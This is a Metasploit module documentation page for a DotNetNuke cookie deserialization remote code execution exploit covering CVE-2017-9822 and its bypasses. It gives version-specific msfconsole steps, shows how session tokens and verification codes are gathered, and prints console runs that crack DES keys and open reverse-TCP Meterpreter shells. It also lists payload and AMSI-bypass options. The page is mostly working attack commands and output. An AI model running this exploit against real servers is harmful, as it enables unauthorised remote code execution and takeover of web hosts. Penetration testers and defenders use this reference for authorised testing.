DotNetNuke Cookie Deserialization Remote Code Excecution - Metasploit
This page contains detailed information about how to use the exploit/windows/http/dnn_cookie_deserialization_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DotNetNuke Cookie Deserialization Remote Code Excecution
Module: exploit/windows/http/dnn_cookie_deserialization_rce
Source code: modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
Disclosure date: 2017-07-20
Last modification time: 2022-03-10 10:28:25 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-9822, CVE-2018-15811, CVE-2018-15812, CVE-2018-18325, CVE-2018-18326
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
msf > use exploit/windows/http/dnn_cookie_deserialization_rce
msf exploit(dnn_cookie_deserialization_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data, which occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.
DNN v5.0.0 - v9.1.0
CVE-2017-9822:
Directly exploitable.
DNN v9.1.1 - v9.2.1
CVE-2018-15811, CVE-2018-15812:
The patch for CVE-2017-9822 used a weak encryption algorithm (DES) and an encryption key of low entropy. Furthermore, if the target site is configured to use Verified Registration, the plaintext value of the registration verification code is exposed on the user profile page. Since the verification code is encrypted using the same algorithm and key as the DNNPersonalization cookie, a known-plaintext attack can be used to recover the key and re-exploit CVE-2017-9822 with an encrypted cookie. In some cases a valid .DOTNETNUKE session token may be required for exploitation (v9.2.0+)
DNN v9.2.2 - v9.3.0-RC
CVE-2018-18325, CVE-2018-18326:
The implemented patch for CVE-2018-15811 and CVE-2018-15812 did not prevent exploitation. The patch changed the encryption key used to encrypt and decrypt the DNNPersonalization cookie; however, this encryption key was still derived from the key used to encrypt and decrypt the registration verification code and the strength of the encryption algorithm was not increased (DES). Additional changes were made to prevent the full plaintext of the verification code from being disclosed. A partial plaintext value was still disclosed on the user profile page. Due to the project being open-source, it was possible to determine the format of the rest of the plaintext verification code. Using a list of obtained verification codes and the known partial plaintext value, it is possible to reduce the number of potential encryption keys through offline processing to a point where trying to re-exploit CVE-2017-9822 with each potential key becomes a feasible attack.
Vulnerable Application
On a Windows machine, download the "Install" package from here:
https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.3.0-rc2
Install packages for other versions can be downloaded from:
https://github.com/dnnsoftware/Dnn.Platform/releases/tag/<version number>
Follow the installation instructions here for installing with ATTACHED DATABASE:
https://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke
You will need SQL Server 2005/2008/2008R2/2012 or 2016 installed.
Log in as the super user account and make sure the 404 error page is set to the built-in 404 Error Page. Typically, this is already set as the default setting, but during testing I encountered an edge case where an issue during installation caused this value to be set to "None Specified".
Additionally, if you are testing this module from a machine other than the host that the application is installed on, you will need to configure the Site Alias so that it is accessible using a hostname other than localhost. Additional firewall rules may need to be configured to allow web access, depending on how you set up the applicaiton in IIS.
This module has been tested on DNN v7.0.0 - v9.3.0-RC running on Windows Server 2016.
v5.0.0 - v9.1.0
No additional configuration required.
v9.1.1+
While logged in as the super user account, configure the application to use Verified registration. You will also need to configure the SMTP server settings to be valid in order to receive the registration email.
Verification Steps
v5.0.0 - v9.1.0
- Install the application
- Start msfconsole
- Do:
use exploit/windows/http/dnn_cookie_deserialization_rce - Do:
set RHOST <RHOST> - Do:
set RPORT <RPORT> - Do:
set PAYLOAD windows/meterpreter/reverse_tcp - Do:
set LHOST <LHOST> - Do:
set LPORT <LPORT> - Do:
check - Verify that you are seeing
The target appears to be vulnerablein the console - Do:
exploit - Verify that you get a meterpeter shell
v9.1.1
- Install the application
- Configure the application to use Verified Registration
- Configure the application's SMTP server settings so that it will send the registration email
- Register a new user account and copy the verification code in the link in the registration email
- Log in as the new user and navigate to the Edit Profile page. Note the
userIdurl path parameter value - Examine the page's source code and search for a
portalIdvalue that is a positive integer. - Start msfconsole
- Do:
use exploit/windows/http/dnn_cookie_deserialization_rce - Do:
set RHOST <RHOST> - Do:
set RPORT <RPORT> - Do:
set PAYLOAD windows/meterpreter/reverse_tcp - Do:
set LHOST <LHOST> - Do:
set LPORT <LPORT> - Do:
set VERIFICATION_CODE <Verification Code> - Do:
set VERIFICATION_PLAIN <{portalId}-{userId}> - Do:
set ENCRYPTED true - Do:
check - Verify that you are seeing
The target appears to be vulnerablein the console - Do:
exploit - Verify that you get a meterpeter shell
v9.2.0 - v9.2.1
- Install the application
- Configure the application to use Verified Registration
- Configure the application's SMTP server settings so that it will send the registration email
- Register a new user account and copy the verification code in the link in the registration email
- Log in as the new user and navigate to the Edit Profile page. Note the
userIdurl path parameter value - Examine the Edit Profile page's source code and search for a
portalIdvalue that is a positive integer. - While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the
.DOTNETNUKEcookie value. - Start msfconsole
- Do:
use exploit/windows/http/dnn_cookie_deserialization_rce - Do:
set RHOST <RHOST> - Do:
set RPORT <RPORT> - Do:
set PAYLOAD windows/meterpreter/reverse_tcp - Do:
set LHOST <LHOST> - Do:
set LPORT <LPORT> - Do:
set VERIFICATION_CODE <Verification Code> - Do:
set VERIFICATION_PLAIN <{portalId}-{userId}> - Do:
set ENCRYPTED true - Do:
set SESSION_TOKEN <.DOTNETNUKE cookie value> - Do:
check - Verify that you are seeing
The target appears to be vulnerablein the console - Do:
exploit - Verify that you get a meterpeter shell
v9.2.2 - 9.3.0-RC
In these versions, the userId value was changed to be a randomly generated GUID. This means that only the first part of the verification plaintext is known. By providing a list of several verification codes, it is possible to reduce the nubmer of potential encryption key values to a feasible amount. Once the list of encryption keys has been reduced, the module will test each key until an HTTP callback is received on port 8080 that indicates which key worked. Then, the final exploit payload will be encrypted using the recovered key and sent to the server, resulting in a shell.
- Install the application
- Configure the application to use Verified Registration
- Configure the application's SMTP server settings so that it will send the registration email
- Register several new user accounts and note the verification codes in the link in the registration emails
- Log in as the new user and navigate to the Edit Profile page.
- Examine the Edit Profile page's source code and search for a
portalIdvalue that is a positive integer - While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the
.DOTNETNUKEcookie value. - Start msfconsole
- Do:
use exploit/windows/http/dnn_cookie_deserialization_rce - Do:
set RHOST <RHOST> - Do:
set RPORT <RPORT> - Do:
set PAYLOAD windows/meterpreter/reverse_tcp - Do:
set LHOST <LHOST> - Do:
set LPORT <LPORT> - Do:
set VERIFICATION_CODE <full path to file containing verification codes> - Do:
set VERIFICATION_PLAIN <{portalId}-> - Do:
set ENCRYPTED true - Do:
set SESSION_TOKEN <.DOTNETNUKE cookie value> - Do:
set TARGET 4 - Do:
check - Verify that you are seeing
The target appears to be vulnerablein the console. - Do:
exploit - Verify that you get a meterpeter shell
Options
DryRun
Set this to true to generate a payload, but not send the exploit to the target server. Default value is false.
ENCRYPTED
Set this to true for targets running v9.1.1+. Default value is false.
IV
The initialization vector to use for encrypting the payload. If specified along with KEY, VERIFICATION_CODE and VERIFICATION_PLAIN options will be ignored.
KEY
The key to use for encryption. If specified along with IV, VERIFICATION_CODE and VERIFICATION_PLAIN options will be ignored.
SESSION_TOKEN
The .DOTNETNUKE session cookie value to use when submitting the payload to the server. Required for targets running v9.2.0+.
SRVPORT
The server port to listen for HTTP callbacks on when testing encryption passphrases for targets running v9.2.2 - v9.3.0-RC. Default value is 8080
TARGETURI
Path to a page that will result in a DNN 404 Error Page. The default location is /__
VERIFICATION_CODE
The verification code received in an email, or the full path to a file containing multiple verification codes.
VERIFICATION_PLAIN
The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer (v9.1.1 - v9.2.1) or GUID (v9.2.2+).
Scenarios
v5.1.0 - v9.1.0
Here's showing the expected output:
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8083
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[+] DNN Version Found: v5.1.0 - v9.0.1
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] 192.168.31.131:8083 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49957) at 2019-07-10 14:02:09 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
v9.1.1
Here's showing the expected output
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8084
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE Amop-0Et1fM_
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-2
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] 192.168.31.131:8084 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 648742.110 keys/s ...... 68.69% of keyspace complete.
[+] KEY Found: B2ABB4BB
[+] IV Found: 11A4D8BE
[*] Total number of Keys tried: 29568463
[*] Time to crack: 45.578 seconds
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49970) at 2019-07-10 14:46:38 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
v9.2.0 - v9.2.1
Here's the expected output:
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8085
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE xR9oL8FP2eE_
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-3
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 20FED393A44F86138D9089074C819880222A494155CEFAC6FEAF2B3B5204A227625654D87EA48ECB1E509664A7E8E32644BD363D3E6FD3A3273B245EF2D10B5E13D7912B
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Trying to determine DNN Version...
[*] Checking version at /Documentation/License.txt ...
[!] DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2 - try setting target 4 and supply a file of of verification codes, or specifiy valid Key and IV values.
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[+] 192.168.31.131:8085 - The target appears to be vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 641992.579 keys/s ...... 1.47% of keyspace complete.
[+] KEY Found: 022BA242
[+] IV Found: 0BCF9976
[*] Total number of Keys tried: 633602
[*] Time to crack: 0.987 seconds
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49971) at 2019-07-10 15:08:04 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
v9.2.2 - v9.3.0-RC
Here's the expected output:
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8090
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE /dnn930rc_verification_codes.txt
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 306A9A382E32E420739C589CCD5C44A7C2595A7163D3340DF4AD71D4223AFC6866E823F36C6171F84FD7352E6BEB17D66B9823567557988321A0867C7038FF6B0F5B0C1F943CBBDAC0B2EE3E
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 4
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[+] 192.168.31.131:8090 - The target is vulnerable.
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Finding Key...
[*] Searching at 420798.449 keys/s ...... 15.24% of keyspace complete.
[+] Possible Base Key Value Found: 2660A22D
[*] Total number of Keys tried: 6558182
[*] Time to crack: 15.585 seconds
[*] Generated 128 possible base KEY values from 2660A22D
[!] Finding possible base IVs. This may take a few minutes...
[*] Found 4 potential Base IV values using 10 verification codes in 42.82 seconds.
[*] Generated 512 possible base64 KEY and IV combinations.
[!] Trying all possible KEY and IV combinations...
[*] Starting HTTP listener on port 8080...
[*] Using URL: http://192.168.31.128:8080/fCyQGz78
[!] Sending 512 test Payload(s) to: /__. This may take a few minutes ...
[*] Trying KEY and IV combination 440 of 512...
[+] KEY: ByEypXIT and IV: zhKad5QC found
[*] Started reverse TCP handler on 192.168.31.128:443
[*] Sending Exploit Payload to: /__ ...
[*] Sending stage (179779 bytes) to 192.168.31.131
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49973) at 2019-07-10 15:39:12 -0400
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/http/dnn_cookie_deserialization_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/dnn_cookie_deserialization_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show info
Name: DotNetNuke Cookie Deserialization Remote Code Excecution
Module: exploit/windows/http/dnn_cookie_deserialization_rce
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-07-20
Provided by:
Jon Park
Jon Seigel
Available targets:
Id Name
-- ----
0 Automatic
1 v5.0 - v9.0.0
2 v9.0.1 - v9.1.1
3 v9.2.0 - v9.2.1
4 v9.2.2 - v9.3.0-RC
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DryRun false no Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload
ENCRYPTED false yes Whether or not to encrypt the final payload cookie;
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.
IV no The initialization vector to use for encryption.
KEY no The key to use for encryption.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SESSION_TOKEN no The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /__ yes The path that will result in the DNN 404 response
URIPATH no The URI to use for this exploit (default is random)
VERIFICATION_CODE no The encrypted verification code received in a registration email.
Can also be the path to a file containing a list of verification codes.
VERIFICATION_PLAIN no The known (full or partial) plaintext of the encrypted verification code.
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or G
UID (v9.2.2+)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a deserialization vulnerability in DotNetNuke
(DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile
information for users in the DNNPersonalization cookie as XML. The
expected structure includes a "type" attribute to instruct the
server which type of object to create on deserialization. The cookie
is processed by the application whenever it attempts to load the
current user's profile data. This occurs when DNN is configured to
handle 404 errors with its built-in error page (default
configuration). An attacker can leverage this vulnerability to
execute arbitrary code on the system.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-9822
https://nvd.nist.gov/vuln/detail/CVE-2018-15811
https://nvd.nist.gov/vuln/detail/CVE-2018-15812
https://nvd.nist.gov/vuln/detail/CVE-2018-18325
https://nvd.nist.gov/vuln/detail/CVE-2018-18326
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html
https://github.com/pwntester/ysoserial.net
Module Options
This is a complete list of options available in the windows/http/dnn_cookie_deserialization_rce exploit:
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show options
Module options (exploit/windows/http/dnn_cookie_deserialization_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
DryRun false no Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload
ENCRYPTED false yes Whether or not to encrypt the final payload cookie;
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.
IV no The initialization vector to use for encryption.
KEY no The key to use for encryption.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SESSION_TOKEN no The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /__ yes The path that will result in the DNN 404 response
URIPATH no The URI to use for this exploit (default is random)
VERIFICATION_CODE no The encrypted verification code received in a registration email.
Can also be the path to a file containing a list of verification codes.
VERIFICATION_PLAIN no The known (full or partial) plaintext of the encrypted verification code.
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or
GUID (v9.2.2+)
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/http/dnn_cookie_deserialization_rce exploit:
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show advanced
Module advanced options (exploit/windows/http/dnn_cookie_deserialization_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/dnn_cookie_deserialization_rce module can exploit:
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 v5.0 - v9.0.0
2 v9.0.1 - v9.1.1
3 v9.2.0 - v9.2.1
4 v9.2.2 - v9.3.0-RC
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/dnn_cookie_deserialization_rce exploit:
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
